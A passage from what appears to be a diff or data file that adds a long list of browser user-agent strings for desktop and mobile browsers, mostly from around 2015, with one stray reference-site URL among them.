Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MALCJS; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Windows NT 5.2; rv:29.0) Gecko/20100101 Firefox/29.0 /29.0 +Mozilla/5.0 (Linux; Android 5.0.2; SM-T550 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4049.US Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Linux; U; Android 4.0.3; en-gb; KFOT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.2; SM-P900 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.1.1; Nexus 9 Build/LMY48I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.2; SM-T530NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (X11; Linux i686; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.1.1; SM-T330NU Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.7.1000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0 +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.22 Safari/537.36 +Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 +Mozilla/5.0 (Android; Tablet; rv:34.0) Gecko/34.0 Firefox/34.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MALCJS; rv:11.0) like Gecko +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E) +Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) GSA/8.0.57838 Mobile/11D257 Safari/9537.53 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.146 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; yie10; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Ubuntu 14.04) AppleWebKit/537.36 Chromium/35.0.1870.2 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; yie11; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/8.0; TNJB; 1ButtonTaskbar) +Mozilla/5.0 (Linux; Android 4.4.2; RCT6773W22 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2503.0 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0; SAMSUNG-SM-G900A Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.7.1000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP08; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.2; SM-T210R Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:40.0) Gecko/20100101 Firefox/40.0.2 Waterfox/40.0.2 +Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-N900P Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 AOL/9.8 AOLBuild/4346.18.US Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.22 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.2; SM-T350 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; ASU2JS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 5.0.2; SM-T530NU Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/7.0; 1ButtonTaskbar) +Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG-SM-G920A Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.0 Chrome/38.0.2125.102 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2503.0 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; 360SE) +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MAAU; MAAU; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.1 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MANM; MANM; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 +Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4049.US Safari/537.36 +Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.2; QTAQZ3 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.135 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H321 OverDrive Media Console/3.3.1 +Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D257 +Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) GSA/7.0.55539 Mobile/11D201 Safari/9537.53 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.1; SCH-I545 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A365 Safari/600.1.4 +Mozilla/5.0 (Windows NT 5.1; rv:34.0) Gecko/20100101 Firefox/34.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MDDCJS; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (iPad;U;CPU OS 5_1_1 like Mac OS X; zh-cn)AppleWebKit/534.46.0(KHTML, like Gecko)CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3 +Mozilla/5.0 (Linux; Android 4.4.3; KFAPWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/44.1.81 like Chrome/44.0.2403.128 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/11D201 Safari/9537.53 +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MAMIJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.1; VS985 4G Build/LRX21Y) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0 +Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 +Mozilla/5.0 (Windows NT 6.0; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Linux; Android 5.0.2; LG-V410/V41020b Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/34.0.1847.118 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2503.0 Safari/537.36 +Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B435 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:36.0) Gecko/20100101 Firefox/36.0 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 +Mozilla/5.0 (Windows NT 5.2; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MDDRJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.2000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.3; WOW64; Trident/6.0) +Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-G920T Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.2 Chrome/38.0.2125.102 Mobile Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8) +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2503.0 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.91 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.3; KFTHWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/34.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.3; KFSAWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/44.1.81 like Chrome/44.0.2403.128 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0 +Mozilla/5.0 (Linux; Android 4.4.2; SM-T230NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.2.2; SM-T110 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SM-N910T Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Win64; x64; Trident/7.0) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:33.0) Gecko/20100101 Firefox/33.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 +Mozilla/5.0 (Windows NT 6.2; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36 +Mozilla/5.0 (X11; CrOS armv7l 6946.86.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 SeaMonkey/2.35 +http://www.useragentstring.com/Firefox25.0_id_19710.php +Mozilla/5.0 (Linux; Android 4.4.2; SM-T330NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A8426 Safari/8536.25 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.2; LG-V410 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 TheWorld 6 +Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12B410 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0 Safari/600.1.25 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; EIE10;ENUSWOL) +Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/43.0.2357.61 Mobile/12F69 Safari/600.1.4 +Mozilla/5.0 (Linux; Android 4.4.2; SM-T237P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; ATT; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.2; SM-T800 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; EIE10;ENUSMSN; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MATBJS; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; LGMS323 Build/KOT49I.MS32310c) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.1599.103 Mobile Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE11;ENUSMSN; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.1000 Chrome/30.0.1599.101 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; rv:29.0) Gecko/20100101 Firefox/29.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.114 Safari/537.36 Puffin/4.5.0IT +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie8; rv:11.0) like Gecko +Mozilla/5.0 (Linux; U; Android 4.4.3; en-gb; KFTHWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; FunWebProducts; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2505.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MALNJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;ENUSSEM; rv:11.0) like Gecko +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; Touch; WebView/1.0) +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:33.0) Gecko/20100101 Firefox/33.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SPH-L720 Build/LRX22C) 